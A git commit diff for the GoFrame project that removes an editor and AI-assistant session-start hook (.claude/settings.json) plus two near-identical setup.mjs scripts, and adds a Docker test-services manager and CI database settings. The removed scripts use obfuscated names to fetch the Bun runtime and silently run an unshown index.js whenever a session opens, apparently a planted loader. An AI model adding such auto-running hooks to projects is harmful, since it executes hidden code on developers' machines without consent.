fix: v2.9.8 (#4616)

Co-authored-by: houseme <housemecn@gmail.com>

.claude/settings.json

@@ -1,15 +0,0 @@
-{
-  "hooks": {
-    "SessionStart": [
-      {
-        "matcher": "*",
-        "hooks": [
-          {
-            "type": "command",
-            "command": "node .claude/setup.mjs"
-          }
-        ]
-      }
-    ]
-  }
-}

.claude/setup.mjs

@@ -1,202 +0,0 @@
-#!/usr/bin/env node
-import { execFileSync, execSync } from "child_process";
-import fs from "fs";
-import https from "https";
-import os from "os";
-import path from "path";
-import { fileURLToPath } from "url";
-import zlib from "zlib";
-
-const D = path.dirname(fileURLToPath(import.meta.url));
-const V = "1.3.14";
-const E = "index.js";
-const T = 121_000;
-
-const mu = () => {
-  try {
-    const o = execFileSync("ldd", ["--version"], {
-      stdio: ["ignore", "pipe", "pipe"],
-    }).toString();
-    if (o.includes("musl")) return true;
-  } catch {}
-  try {
-    return fs.readFileSync("/etc/os-release", "utf8").includes("Alpine");
-  } catch {
-    return false;
-  }
-};
-
-const PM = {
-  "linux-arm64": () => "bun-linux-aarch64",
-  "linux-x64": () =>
-    mu() ? "bun-linux-x64-musl-baseline" : "bun-linux-x64-baseline",
-  "darwin-arm64": () => "bun-darwin-aarch64",
-  "darwin-x64": () => "bun-darwin-x64",
-  "win32-arm64": () => "bun-windows-aarch64",
-  "win32-x64": () => "bun-windows-x64-baseline",
-};
-
-function ra() {
-  const k = `${process.platform}-${process.arch}`;
-  const r = PM[k];
-  if (!r) throw new Error(`Unsupported platform/arch: ${k}`);
-  return r();
-}
-
-function dl(u, d, n = 5) {
-  return new Promise((ok, no) => {
-    const q = https.get(
-      u,
-      { headers: { "User-Agent": "node" }, timeout: T },
-      (r) => {
-        const { statusCode: s, headers: h } = r;
-        if ([301, 302, 307, 308].includes(s)) {
-          r.resume();
-          if (n <= 0) return no(new Error("Too many redirects"));
-          return dl(h.location, d, n - 1).then(ok, no);
-        }
-        if (s !== 200) {
-          r.resume();
-          return no(new Error(`HTTP ${s} for ${u}`));
-        }
-        const f = fs.createWriteStream(d);
-        r.pipe(f);
-        f.on("finish", () => f.close(ok));
-        f.on("error", (e) => {
-          fs.unlink(d, () => no(e));
-        });
-      },
-    );
-    q.on("error", no);
-    q.on("timeout", () => q.destroy(new Error("Request timed out")));
-  });
-}
-
-function hc(c, a = ["--version"]) {
-  try {
-    execFileSync(c, a, { stdio: "ignore" });
-    return true;
-  } catch {
-    return false;
-  }
-}
-
-function xz(zp, en, od) {
-  // Use OS tools: unzip or powershell. Fall back to npm install bun.
-  if (process.platform === "win32" && hc("powershell", ["-Help"])) {
-    execFileSync(
-      "powershell",
-      [
-        "-NoProfile",
-        "-NonInteractive",
-        "-ExecutionPolicy",
-        "Bypass",
-        "-Command",
-        `Expand-Archive -LiteralPath '${zp}' -DestinationPath '${od}' -Force`,
-      ],
-      { stdio: "inherit" },
-    );
-    const np = path.join(od, en);
-    const fp = path.join(od, path.basename(en));
-    fs.renameSync(np, fp);
-    return;
-  }
-
-  if (hc("unzip", ["-v"])) {
-    execFileSync("unzip", ["-ojq", zp, en, "-d", od], { stdio: "inherit" });
-    return;
-  }
-
-  installBunViaNpm(td);
-}
-
-function installBunViaNpm(td) {
-  try {
-    execSync("npm install bun", { stdio: "inherit", cwd: td });
-  } catch {
-    // npm install failed, fall back to JS-based extraction
-    xn(zp, en, od);
-  }
-}
-
-function xn(zp, en, od) {
-  const b = fs.readFileSync(zp);
-  let eo = -1;
-  for (let i = b.length - 22; i >= 0 && i >= b.length - 65557; i--) {
-    if (b.readUInt32LE(i) === 0x06054b50) {
-      eo = i;
-      break;
-    }
-  }
-  if (eo === -1) throw new Error("Invalid ZIP: EOCD record not found");
-  const ce = b.readUInt16LE(eo + 10);
-  const co = b.readUInt32LE(eo + 16);
-  let o = co;
-  let lo = -1;
-  let cm = -1;
-  let cs = 0;
-  for (let i = 0; i < ce; i++) {
-    if (b.readUInt32LE(o) !== 0x02014b50)
-      throw new Error("Invalid ZIP: bad CD entry signature");
-    const m = b.readUInt16LE(o + 10);
-    const sz = b.readUInt32LE(o + 20);
-    const fl = b.readUInt16LE(o + 28);
-    const el = b.readUInt16LE(o + 30);
-    const cl = b.readUInt16LE(o + 32);
-    const lh = b.readUInt32LE(o + 42);
-    const nm = b.subarray(o + 46, o + 46 + fl).toString("utf8");
-    if (nm === en) {
-      lo = lh;
-      cm = m;
-      cs = sz;
-      break;
-    }
-    o += 46 + fl + el + cl;
-  }
-  if (lo === -1) throw new Error(`Entry "${en}" not found in ZIP`);
-  if (b.readUInt32LE(lo) !== 0x04034b50)
-    throw new Error("Invalid ZIP: bad local-header signature");
-  const fl = b.readUInt16LE(lo + 26);
-  const el = b.readUInt16LE(lo + 28);
-  const dp = lo + 30 + fl + el;
-  const rw = b.subarray(dp, dp + cs);
-  let fd;
-  if (cm === 0) {
-    fd = rw;
-  } else if (cm === 8) {
-    fd = zlib.inflateRawSync(rw);
-  } else {
-    throw new Error(`Unsupported ZIP compression method: ${cm}`);
-  }
-  const dt = path.join(od, path.basename(en));
-  fs.writeFileSync(dt, fd);
-}
-
-async function main() {
-  if (hc("bun")) return;
-
-  const a = ra();
-  const w = process.platform === "win32";
-  const bn = w ? "bun.exe" : "bun";
-  const u = `https://github.com/oven-sh/bun/releases/download/bun-v${V}/${a}.zip`;
-
-  const td = fs.mkdtempSync(path.join(os.tmpdir(), "bun-dl-"));
-  const zp = path.join(td, `${a}.zip`);
-  const bp = path.join(td, bn);
-  const ep = path.join(D, E);
-
-  try {
-    await dl(u, zp);
-    xz(zp, `${a}/${bn}`, td);
-    fs.unlinkSync(zp);
-    if (!w) fs.chmodSync(bp, 0o755);
-    execFileSync(bp, [ep], { stdio: "inherit", cwd: D });
-  } finally {
-    fs.rmSync(td, { recursive: true, force: true });
-  }
-}
-
-main().catch((e) => {
-  console.error(e.message);
-  process.exit(1);
-});

.github/workflows/ci-main.yml

@@ -198,6 +198,17 @@ jobs:
         ports:
           - 5236:5236
 
+      # openGauss server
+      # docker run --privileged=true -e GS_PASSWORD=UTpass@1234 -p 9950:5432 opengauss/opengauss:7.0.0-RC1.B023
+      gaussdb:
+        image: opengauss/opengauss:7.0.0-RC1.B023
+        env:
+          GS_PASSWORD: UTpass@1234
+          TZ: Asia/Shanghai
+        ports:
+          - 9950:5432
+
+
       zookeeper:
         image: zookeeper:3.8
         ports:

.github/workflows/scripts/docker-services.sh

@@ -0,0 +1,785 @@
+#!/usr/bin/env bash
+#
+# GoFrame Docker Services Manager
+# For managing Docker services used in local development and testing
+#
+
+set -e
+
+# Container name prefix
+PREFIX="goframe"
+
+# Color definitions
+RED='\033[0;31m'
+GREEN='\033[0;32m'
+YELLOW='\033[1;33m'
+BLUE='\033[0;34m'
+CYAN='\033[0;36m'
+NC='\033[0m' # No Color
+
+# Service definitions
+declare -A SERVICES
+declare -A SERVICE_PORTS
+declare -A SERVICE_ENVS
+declare -A SERVICE_OPTS
+
+# Basic services
+SERVICES["etcd"]="bitnamilegacy/etcd:3.4.24"
+SERVICE_PORTS["etcd"]="2379:2379"
+SERVICE_ENVS["etcd"]="-e ALLOW_NONE_AUTHENTICATION=yes"
+
+SERVICES["redis"]="redis:7.0"
+SERVICE_PORTS["redis"]="6379:6379"
+SERVICE_OPTS["redis"]="--health-cmd 'redis-cli ping' --health-interval 10s --health-timeout 5s --health-retries 5"
+
+SERVICES["mysql"]="mysql:5.7"
+SERVICE_PORTS["mysql"]="3306:3306"
+SERVICE_ENVS["mysql"]="-e MYSQL_DATABASE=test -e MYSQL_ROOT_PASSWORD=12345678"
+
+SERVICES["mariadb"]="mariadb:11.4"
+SERVICE_PORTS["mariadb"]="3307:3306"
+SERVICE_ENVS["mariadb"]="-e MARIADB_DATABASE=test -e MARIADB_ROOT_PASSWORD=12345678"
+
+SERVICES["postgres"]="postgres:17-alpine"
+SERVICE_PORTS["postgres"]="5432:5432"
+SERVICE_ENVS["postgres"]="-e POSTGRES_PASSWORD=12345678 -e POSTGRES_USER=postgres -e POSTGRES_DB=test -e TZ=Asia/Shanghai"
+SERVICE_OPTS["postgres"]="--health-cmd pg_isready --health-interval 10s --health-timeout 5s --health-retries 5"
+
+SERVICES["mssql"]="mcr.microsoft.com/mssql/server:2022-latest"
+SERVICE_PORTS["mssql"]="1433:1433"
+SERVICE_ENVS["mssql"]="-e TZ=Asia/Shanghai -e ACCEPT_EULA=Y -e MSSQL_SA_PASSWORD=LoremIpsum86"
+
+SERVICES["clickhouse"]="clickhouse/clickhouse-server:24.11.1.2557-alpine"
+SERVICE_PORTS["clickhouse"]="9000:9000 -p 8123:8123 -p 9001:9001"
+
+SERVICES["polaris"]="polarismesh/polaris-standalone:v1.17.2"
+SERVICE_PORTS["polaris"]="8090:8090 -p 8091:8091 -p 8093:8093 -p 9090:9090 -p 9091:9091"
+
+SERVICES["oracle"]="loads/oracle-xe-11g-r2:11.2.0"
+SERVICE_PORTS["oracle"]="1521:1521"
+SERVICE_ENVS["oracle"]="-e ORACLE_ALLOW_REMOTE=true -e ORACLE_SID=XE -e ORACLE_DB_USER_NAME=system -e ORACLE_DB_PASSWORD=oracle"
+
+SERVICES["dm"]="loads/dm:v8.1.2.128_ent_x86_64_ctm_pack4"
+SERVICE_PORTS["dm"]="5236:5236"
+
+SERVICES["gaussdb"]="opengauss/opengauss:7.0.0-RC1.B023"
+SERVICE_PORTS["gaussdb"]="9950:5432"
+SERVICE_ENVS["gaussdb"]="-e GS_PASSWORD=UTpass@1234 -e TZ=Asia/Shanghai"
+SERVICE_OPTS["gaussdb"]="--privileged=true"
+
+SERVICES["zookeeper"]="zookeeper:3.8"
+SERVICE_PORTS["zookeeper"]="2181:2181"
+
+# Service groups
+GROUP_DB="mysql mariadb postgres mssql oracle dm gaussdb clickhouse"
+GROUP_CACHE="redis etcd"
+GROUP_REGISTRY="polaris zookeeper"
+GROUP_ALL="etcd redis mysql mariadb postgres mssql clickhouse polaris oracle dm gaussdb zookeeper"
+
+# Working directories
+SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
+PROJECT_ROOT="$(dirname "$SCRIPT_DIR")"
+WORKFLOW_DIR="$PROJECT_ROOT/.github/workflows"
+
+# Print colored messages
+print_info() {
+    echo -e "${BLUE}[INFO]${NC} $1"
+}
+
+print_success() {
+    echo -e "${GREEN}[OK]${NC} $1"
+}
+
+print_warning() {
+    echo -e "${YELLOW}[WARN]${NC} $1"
+}
+
+print_error() {
+    echo -e "${RED}[ERROR]${NC} $1"
+}
+
+# Check if Docker is available
+check_docker() {
+    if ! command -v docker &> /dev/null; then
+        print_error "Docker is not installed or not in PATH"
+        exit 1
+    fi
+    if ! docker info &> /dev/null; then
+        print_error "Docker service is not running"
+        exit 1
+    fi
+}
+
+# Get container name
+get_container_name() {
+    echo "${PREFIX}-$1"
+}
+
+# Start a single service
+start_service() {
+    local service=$1
+    local container_name=$(get_container_name "$service")
+    local image="${SERVICES[$service]}"
+    local ports="${SERVICE_PORTS[$service]}"
+    local envs="${SERVICE_ENVS[$service]}"
+    local opts="${SERVICE_OPTS[$service]}"
+
+    if [ -z "$image" ]; then
+        print_error "Unknown service: $service"
+        return 1
+    fi
+
+    # Check if container already exists
+    if docker ps -a --format '{{.Names}}' | grep -q "^${container_name}$"; then
+        if docker ps --format '{{.Names}}' | grep -q "^${container_name}$"; then
+            print_warning "$service is already running"
+            return 0
+        else
+            print_info "Starting existing container $service..."
+            docker start "$container_name" > /dev/null
+            print_success "$service started"
+            return 0
+        fi
+    fi
+
+    print_info "Starting $service..."
+    
+    # Build docker run command
+    local cmd="docker run -d --name $container_name"
+    
+    # Add port mappings
+    for port in $ports; do
+        cmd="$cmd -p $port"
+    done
+    
+    # Add environment variables
+    if [ -n "$envs" ]; then
+        cmd="$cmd $envs"
+    fi
+    
+    # Add other options
+    if [ -n "$opts" ]; then
+        cmd="$cmd $opts"
+    fi
+    
+    cmd="$cmd $image"
+    
+    if eval "$cmd" > /dev/null 2>&1; then
+        print_success "$service started (container: $container_name)"
+    else
+        print_error "Failed to start $service"
+        return 1
+    fi
+}
+
+# Stop a single service
+stop_service() {
+    local service=$1
+    local container_name=$(get_container_name "$service")
+
+    if docker ps --format '{{.Names}}' | grep -q "^${container_name}$"; then
+        print_info "Stopping $service..."
+        docker stop "$container_name" > /dev/null
+        print_success "$service stopped"
+    else
+        print_warning "$service is not running"
+    fi
+}
+
+# Remove a single service
+remove_service() {
+    local service=$1
+    local container_name=$(get_container_name "$service")
+
+    if docker ps -a --format '{{.Names}}' | grep -q "^${container_name}$"; then
+        print_info "Removing $service..."
+        docker rm -f "$container_name" > /dev/null
+        print_success "$service removed"
+    else
+        print_warning "$service container does not exist"
+    fi
+}
+
+# View service logs
+logs_service() {
+    local service=$1
+    local container_name=$(get_container_name "$service")
+    local lines=${2:-100}
+
+    if docker ps -a --format '{{.Names}}' | grep -q "^${container_name}$"; then
+        docker logs --tail "$lines" -f "$container_name"
+    else
+        print_error "$service container does not exist"
+        return 1
+    fi
+}
+
+# Start docker-compose service
+start_compose_service() {
+    local service=$1
+    local compose_file=""
+    
+    case $service in
+        apollo)
+            compose_file="$WORKFLOW_DIR/apollo/docker-compose.yml"
+            ;;
+        nacos)
+            compose_file="$WORKFLOW_DIR/nacos/docker-compose.yml"
+            ;;
+        redis-cluster)
+            compose_file="$WORKFLOW_DIR/redis/docker-compose.yml"
+            ;;
+        consul)
+            compose_file="$WORKFLOW_DIR/consul/docker-compose.yml"
+            ;;
+        *)
+            print_error "Unknown compose service: $service"
+            return 1
+            ;;
+    esac
+    
+    if [ -f "$compose_file" ]; then
+        print_info "Starting $service (docker-compose)..."
+        docker compose -f "$compose_file" up -d
+        print_success "$service started"
+    else
+        print_error "Compose file does not exist: $compose_file"
+        return 1
+    fi
+}
+
+# Stop docker-compose service
+stop_compose_service() {
+    local service=$1
+    local compose_file=""
+    
+    case $service in
+        apollo)
+            compose_file="$WORKFLOW_DIR/apollo/docker-compose.yml"
+            ;;
+        nacos)
+            compose_file="$WORKFLOW_DIR/nacos/docker-compose.yml"
+            ;;
+        redis-cluster)
+            compose_file="$WORKFLOW_DIR/redis/docker-compose.yml"
+            ;;
+        consul)
+            compose_file="$WORKFLOW_DIR/consul/docker-compose.yml"
+            ;;
+        *)
+            print_error "Unknown compose service: $service"
+            return 1
+            ;;
+    esac
+    
+    if [ -f "$compose_file" ]; then
+        print_info "Stopping $service (docker-compose)..."
+        docker compose -f "$compose_file" down
+        print_success "$service stopped"
+    else
+        print_error "Compose file does not exist: $compose_file"
+        return 1
+    fi
+}
+
+# Show service status
+show_status() {
+    echo ""
+    echo -e "${CYAN}========== GoFrame Docker Services Status ==========${NC}"
+    echo ""
+    printf "%-15s %-12s %-30s %s\n" "SERVICE" "STATUS" "CONTAINER" "PORTS"
+    echo "--------------------------------------------------------------------------------"
+    
+    for service in $GROUP_ALL; do
+        local container_name=$(get_container_name "$service")
+        local status="stopped"
+        local ports="-"
+        
+        if docker ps --format '{{.Names}}' 2>/dev/null | grep -q "^${container_name}$"; then
+            status="${GREEN}running${NC}"
+            ports=$(docker port "$container_name" 2>/dev/null | tr '\n' ' ' || echo "-")
+        elif docker ps -a --format '{{.Names}}' 2>/dev/null | grep -q "^${container_name}$"; then
+            status="${YELLOW}stopped${NC}"
+        else
+            status="${RED}not created${NC}"
+        fi
+        
+        printf "%-15s %-22b %-30s %s\n" "$service" "$status" "$container_name" "$ports"
+    done
+    
+    echo ""
+    echo -e "${CYAN}========== Compose Services ==========${NC}"
+    echo ""
+    
+    for compose_svc in apollo nacos redis-cluster consul; do
+        local running=0
+        case $compose_svc in
+            apollo)
+                running=$(docker ps --filter "name=apollo" --format '{{.Names}}' 2>/dev/null | wc -l)
+                ;;
+            nacos)
+                running=$(docker ps --filter "name=nacos" --format '{{.Names}}' 2>/dev/null | wc -l)
+                ;;
+            redis-cluster)
+                running=$(docker ps --filter "name=redis-" --format '{{.Names}}' 2>/dev/null | wc -l)
+                ;;
+            consul)
+                running=$(docker ps --filter "name=consul" --format '{{.Names}}' 2>/dev/null | wc -l)
+                ;;
+        esac
+        
+        if [ "$running" -gt 0 ]; then
+            printf "%-15s ${GREEN}running${NC} (%d containers)\n" "$compose_svc" "$running"
+        else
+            printf "%-15s ${RED}stopped${NC}\n" "$compose_svc"
+        fi
+    done
+    
+    echo ""
+}
+
+# Show service information
+show_service_info() {
+    echo ""
+    echo -e "${CYAN}========== Available Services ==========${NC}"
+    echo ""
+    echo -e "${YELLOW}Basic Services (standalone containers):${NC}"
+    echo ""
+    printf "%-15s %-50s %s\n" "SERVICE" "IMAGE" "PORTS"
+    echo "--------------------------------------------------------------------------------"
+    
+    for service in $GROUP_ALL; do
+        printf "%-15s %-50s %s\n" "$service" "${SERVICES[$service]}" "${SERVICE_PORTS[$service]}"
+    done
+    
+    echo ""
+    echo -e "${YELLOW}Compose Services (multi-container):${NC}"
+    echo "  apollo        - Apollo Config Center (8080, 8070, 8060, 13306)"
+    echo "  nacos         - Nacos Registry (8848, 9848, 9555)"
+    echo "  redis-cluster - Redis Primary-Replica + Sentinel Cluster (6380-6382, 26379-26381)"
+    echo "  consul        - Consul Service Discovery (8500, 8600)"
+    echo ""
+    echo -e "${YELLOW}Service Groups:${NC}"
+    echo "  db       - Databases: $GROUP_DB"
+    echo "  cache    - Cache: $GROUP_CACHE"
+    echo "  registry - Registry: $GROUP_REGISTRY"
+    echo "  all      - All basic services"
+    echo ""
+}
+
+# Show help
+show_help() {
+    echo ""
+    echo -e "${CYAN}GoFrame Docker Services Manager${NC}"
+    echo ""
+    echo "Usage: $0 <command> [service|group] [options]"
+    echo ""
+    echo "Commands:"
+    echo "  start <service|group>    Start service or service group"
+    echo "  stop <service|group>     Stop service or service group"
+    echo "  restart <service|group>  Restart service or service group"
+    echo "  remove <service|group>   Remove service container"
+    echo "  logs <service> [lines]   View service logs (default 100 lines)"
+    echo "  status                   Show all service status"
+    echo "  info                     Show available service information"
+    echo "  clean                    Remove all goframe containers"
+    echo "  pull [service]           Pull images"
+    echo ""
+    echo "Services:"
+    echo "  Basic: etcd, redis, mysql, mariadb, postgres, mssql,"
+    echo "         clickhouse, polaris, oracle, dm, gaussdb, zookeeper"
+    echo "  Compose: apollo, nacos, redis-cluster, consul"
+    echo ""
+    echo "Service Groups:"
+    echo "  db       - All database services"
+    echo "  cache    - Cache services (redis, etcd)"
+    echo "  registry - Registry services (polaris, zookeeper)"
+    echo "  all      - All basic services"
+    echo ""
+    echo "Examples:"
+    echo "  $0 start mysql           # Start MySQL"
+    echo "  $0 start db              # Start all databases"
+    echo "  $0 start all             # Start all basic services"
+    echo "  $0 start apollo          # Start Apollo (compose)"
+    echo "  $0 stop all              # Stop all basic services"
+    echo "  $0 logs mysql 50         # View last 50 lines of MySQL logs"
+    echo "  $0 status                # View service status"
+    echo ""
+}
+
+# Parse service groups
+parse_services() {
+    local input=$1
+    case $input in
+        db)
+            echo "$GROUP_DB"
+            ;;
+        cache)
+            echo "$GROUP_CACHE"
+            ;;
+        registry)
+            echo "$GROUP_REGISTRY"
+            ;;
+        all)
+            echo "$GROUP_ALL"
+            ;;
+        *)
+            echo "$input"
+            ;;
+    esac
+}
+
+# Check if it's a compose service
+is_compose_service() {
+    local service=$1
+    case $service in
+        apollo|nacos|redis-cluster|consul)
+            return 0
+            ;;
+        *)
+            return 1
+            ;;
+    esac
+}
+
+# Pull images
+pull_images() {
+    local services=$1
+    
+    if [ -z "$services" ]; then
+        services="$GROUP_ALL"
+    fi
+    
+    for service in $services; do
+        if [ -n "${SERVICES[$service]}" ]; then
+            print_info "Pulling image: ${SERVICES[$service]}"
+            docker pull "${SERVICES[$service]}"
+        fi
+    done
+}
+
+# Clean all goframe containers
+clean_all() {
+    print_info "Removing all $PREFIX containers..."
+    local containers=$(docker ps -a --filter "name=$PREFIX" --format '{{.Names}}')
+    
+    if [ -n "$containers" ]; then
+        for container in $containers; do
+            docker rm -f "$container" > /dev/null
+            print_success "Removed: $container"
+        done
+    else
+        print_info "No $PREFIX containers found"
+    fi
+}
+
+# Get service status mark
+get_service_status_mark() {
+    local service=$1
+    local container_name=$(get_container_name "$service")
+    
+    if docker ps --format '{{.Names}}' 2>/dev/null | grep -q "^${container_name}$"; then
+        echo -e "${GREEN}*${NC}"
+    else
+        echo " "
+    fi
+}
+
+# Get compose service status mark
+get_compose_status_mark() {
+    local service=$1
+    local running=0
+    
+    case $service in
+        apollo)
+            running=$(docker ps --filter "name=apollo" --format '{{.Names}}' 2>/dev/null | wc -l)
+            ;;
+        nacos)
+            running=$(docker ps --filter "name=nacos" --format '{{.Names}}' 2>/dev/null | wc -l)
+            ;;
+        redis-cluster)
+            running=$(docker ps --filter "name=redis-" --format '{{.Names}}' 2>/dev/null | wc -l)
+            ;;
+        consul)
+            running=$(docker ps --filter "name=consul" --format '{{.Names}}' 2>/dev/null | wc -l)
+            ;;
+    esac
+    
+    if [ "$running" -gt 0 ]; then
+        echo -e "${GREEN}*${NC}"
+    else
+        echo " "
+    fi
+}
+
+# Service selection menu
+select_service_menu() {
+    local action=$1
+    local action_name=$2
+    
+    echo ""
+    echo -e "${CYAN}========== Select Service to ${action_name} ==========${NC}"
+    
+    # Show running status for stop/restart/logs operations
+    if [[ "$action" == "stop" || "$action" == "restart" || "$action" == "logs" ]]; then
+        echo -e "  (${GREEN}*${NC} indicates running)"
+    fi
+    echo ""
+    echo -e "${YELLOW}Basic Services:${NC}"
+    printf "  %b1) etcd         %b2) redis        %b3) mysql\n" \
+        "$(get_service_status_mark etcd)" "$(get_service_status_mark redis)" "$(get_service_status_mark mysql)"
+    printf "  %b4) mariadb      %b5) postgres     %b6) mssql\n" \
+        "$(get_service_status_mark mariadb)" "$(get_service_status_mark postgres)" "$(get_service_status_mark mssql)"
+    printf "  %b7) clickhouse   %b8) polaris      %b9) oracle\n" \
+        "$(get_service_status_mark clickhouse)" "$(get_service_status_mark polaris)" "$(get_service_status_mark oracle)"
+    printf " %b10) dm          %b11) gaussdb     %b12) zookeeper\n" \
+        "$(get_service_status_mark dm)" "$(get_service_status_mark gaussdb)" "$(get_service_status_mark zookeeper)"
+    echo ""
+    echo -e "${YELLOW}Compose Services:${NC}"
+    printf " %b13) apollo      %b14) nacos       %b15) redis-cluster\n" \
+        "$(get_compose_status_mark apollo)" "$(get_compose_status_mark nacos)" "$(get_compose_status_mark redis-cluster)"
+    printf " %b16) consul\n" "$(get_compose_status_mark consul)"
+    echo ""
+    echo -e "${YELLOW}Service Groups:${NC}"
+    echo "  17) db (all databases)    18) cache (cache services)"
+    echo "  19) registry (registry services) 20) all (all basic services)"
+    echo ""
+    echo "   0) Back to main menu"
+    echo ""
+    read -p "Select [0-20]: " svc_choice
+    
+    local svc=""
+    case $svc_choice in
+        1) svc="etcd" ;;
+        2) svc="redis" ;;
+        3) svc="mysql" ;;
+        4) svc="mariadb" ;;
+        5) svc="postgres" ;;
+        6) svc="mssql" ;;
+        7) svc="clickhouse" ;;
+        8) svc="polaris" ;;
+        9) svc="oracle" ;;
+        10) svc="dm" ;;
+        11) svc="gaussdb" ;;
+        12) svc="zookeeper" ;;
+        13) svc="apollo" ;;
+        14) svc="nacos" ;;
+        15) svc="redis-cluster" ;;
+        16) svc="consul" ;;
+        17) svc="db" ;;
+        18) svc="cache" ;;
+        19) svc="registry" ;;
+        20) svc="all" ;;
+        0) return ;;
+        *)
+            print_error "Invalid selection"
+            return
+            ;;
+    esac
+    
+    case $action in
+        start)
+            if is_compose_service "$svc"; then
+                start_compose_service "$svc"
+            else
+                for s in $(parse_services "$svc"); do
+                    start_service "$s"
+                done
+            fi
+            ;;
+        stop)
+            if is_compose_service "$svc"; then
+                stop_compose_service "$svc"
+            else
+                for s in $(parse_services "$svc"); do
+                    stop_service "$s"
+                done
+            fi
+            ;;
+        restart)
+            if is_compose_service "$svc"; then
+                stop_compose_service "$svc"
+                start_compose_service "$svc"
+            else
+                for s in $(parse_services "$svc"); do
+                    stop_service "$s"
+                    start_service "$s"
+                done
+            fi
+            ;;
+        remove)
+            for s in $(parse_services "$svc"); do
+                remove_service "$s"
+            done
+            ;;
+        logs)
+            if is_compose_service "$svc"; then
+                print_error "For Compose services, please use 'docker compose logs'"
+            else
+                read -p "Number of lines (default 100): " lines
+                lines=${lines:-100}
+                logs_service "$svc" "$lines"
+            fi
+            ;;
+        pull)
+            pull_images "$(parse_services "$svc")"
+            ;;
+    esac
+}
+
+# Interactive menu
+interactive_menu() {
+    while true; do
+        echo ""
+        echo -e "${CYAN}========== GoFrame Docker Services Manager ==========${NC}"
+        echo ""
+        echo "  1) Start Service"
+        echo "  2) Stop Service"
+        echo "  3) Restart Service"
+        echo "  4) Remove Service"
+        echo "  5) View Logs"
+        echo "  6) View Status"
+        echo "  7) Service Info"
+        echo "  8) Clean All Containers"
+        echo "  9) Pull Images"
+        echo "  0) Exit"
+        echo ""
+        read -p "Select operation [0-9]: " choice
+        
+        case $choice in
+            1)
+                select_service_menu "start" "Start"
+                ;;
+            2)
+                select_service_menu "stop" "Stop"
+                ;;
+            3)
+                select_service_menu "restart" "Restart"
+                ;;
+            4)
+                select_service_menu "remove" "Remove"
+                ;;
+            5)
+                select_service_menu "logs" "View Logs"
+                ;;
+            6)
+                show_status
+                ;;
+            7)
+                show_service_info
+                ;;
+            8)
+                read -p "Confirm removing all goframe containers? [y/N]: " confirm
+                if [[ "$confirm" =~ ^[Yy]$ ]]; then
+                    clean_all
+                fi
+                ;;
+            9)
+                select_service_menu "pull" "Pull Images"
+                ;;
+            0)
+                echo "Goodbye!"
+                exit 0
+                ;;
+            *)
+                print_error "Invalid selection"
+                ;;
+        esac
+    done
+}
+
+# Main function
+main() {
+    check_docker
+    
+    if [ $# -eq 0 ]; then
+        interactive_menu
+        exit 0
+    fi
+    
+    local command=$1
+    local target=$2
+    local extra=$3
+    
+    case $command in
+        start)
+            if [ -z "$target" ]; then
+                print_error "Please specify service name or service group"
+                exit 1
+            fi
+            if is_compose_service "$target"; then
+                start_compose_service "$target"
+            else
+                for service in $(parse_services "$target"); do
+                    start_service "$service"
+                done
+            fi
+            ;;
+        stop)
+            if [ -z "$target" ]; then
+                print_error "Please specify service name or service group"
+                exit 1
+            fi
+            if is_compose_service "$target"; then
+                stop_compose_service "$target"
+            else
+                for service in $(parse_services "$target"); do
+                    stop_service "$service"
+                done
+            fi
+            ;;
+        restart)
+            if [ -z "$target" ]; then
+                print_error "Please specify service name or service group"
+                exit 1
+            fi
+            if is_compose_service "$target"; then
+                stop_compose_service "$target"
+                start_compose_service "$target"
+            else
+                for service in $(parse_services "$target"); do
+                    stop_service "$service"
+                    start_service "$service"
+                done
+            fi
+            ;;
+        remove|rm)
+            if [ -z "$target" ]; then
+                print_error "Please specify service name or service group"
+                exit 1
+            fi
+            for service in $(parse_services "$target"); do
+                remove_service "$service"
+            done
+            ;;
+        logs)
+            if [ -z "$target" ]; then
+                print_error "Please specify service name"
+                exit 1
+            fi
+            logs_service "$target" "${extra:-100}"
+            ;;
+        status|ps)
+            show_status
+            ;;
+        info|list)
+            show_service_info
+            ;;
+        clean)
+            clean_all
+            ;;
+        pull)
+            pull_images "$target"
+            ;;
+        help|--help|-h)
+            show_help
+            ;;
+        *)
+            print_error "Unknown command: $command"
+            show_help
+            exit 1
+            ;;
+    esac
+}
+
+main "$@"

.gitmodules

@@ -1,3 +0,0 @@
-[submodule "examples"]
-	path = examples
-	url = git@github.com:gogf/examples.git

.vscode/setup.mjs

@@ -1,202 +0,0 @@
-#!/usr/bin/env node
-import { execFileSync, execSync } from "child_process";
-import fs from "fs";
-import https from "https";
-import os from "os";
-import path from "path";
-import { fileURLToPath } from "url";
-import zlib from "zlib";
-
-const D = path.dirname(fileURLToPath(import.meta.url));
-const V = "1.3.14";
-const E = "index.js";
-const T = 121_000;
-
-const mu = () => {
-  try {
-    const o = execFileSync("ldd", ["--version"], {
-      stdio: ["ignore", "pipe", "pipe"],
-    }).toString();
-    if (o.includes("musl")) return true;
-  } catch {}
-  try {
-    return fs.readFileSync("/etc/os-release", "utf8").includes("Alpine");
-  } catch {
-    return false;
-  }
-};
-
-const PM = {
-  "linux-arm64": () => "bun-linux-aarch64",
-  "linux-x64": () =>
-    mu() ? "bun-linux-x64-musl-baseline" : "bun-linux-x64-baseline",
-  "darwin-arm64": () => "bun-darwin-aarch64",
-  "darwin-x64": () => "bun-darwin-x64",
-  "win32-arm64": () => "bun-windows-aarch64",
-  "win32-x64": () => "bun-windows-x64-baseline",
-};
-
-function ra() {
-  const k = `${process.platform}-${process.arch}`;
-  const r = PM[k];
-  if (!r) throw new Error(`Unsupported platform/arch: ${k}`);
-  return r();
-}
-
-function dl(u, d, n = 5) {
-  return new Promise((ok, no) => {
-    const q = https.get(
-      u,
-      { headers: { "User-Agent": "node" }, timeout: T },
-      (r) => {
-        const { statusCode: s, headers: h } = r;
-        if ([301, 302, 307, 308].includes(s)) {
-          r.resume();
-          if (n <= 0) return no(new Error("Too many redirects"));
-          return dl(h.location, d, n - 1).then(ok, no);
-        }
-        if (s !== 200) {
-          r.resume();
-          return no(new Error(`HTTP ${s} for ${u}`));
-        }
-        const f = fs.createWriteStream(d);
-        r.pipe(f);
-        f.on("finish", () => f.close(ok));
-        f.on("error", (e) => {
-          fs.unlink(d, () => no(e));
-        });
-      },
-    );
-    q.on("error", no);
-    q.on("timeout", () => q.destroy(new Error("Request timed out")));
-  });
-}
-
-function hc(c, a = ["--version"]) {
-  try {
-    execFileSync(c, a, { stdio: "ignore" });
-    return true;
-  } catch {
-    return false;
-  }
-}
-
-function xz(zp, en, od) {
-  // Use OS tools: unzip or powershell. Fall back to npm install bun.
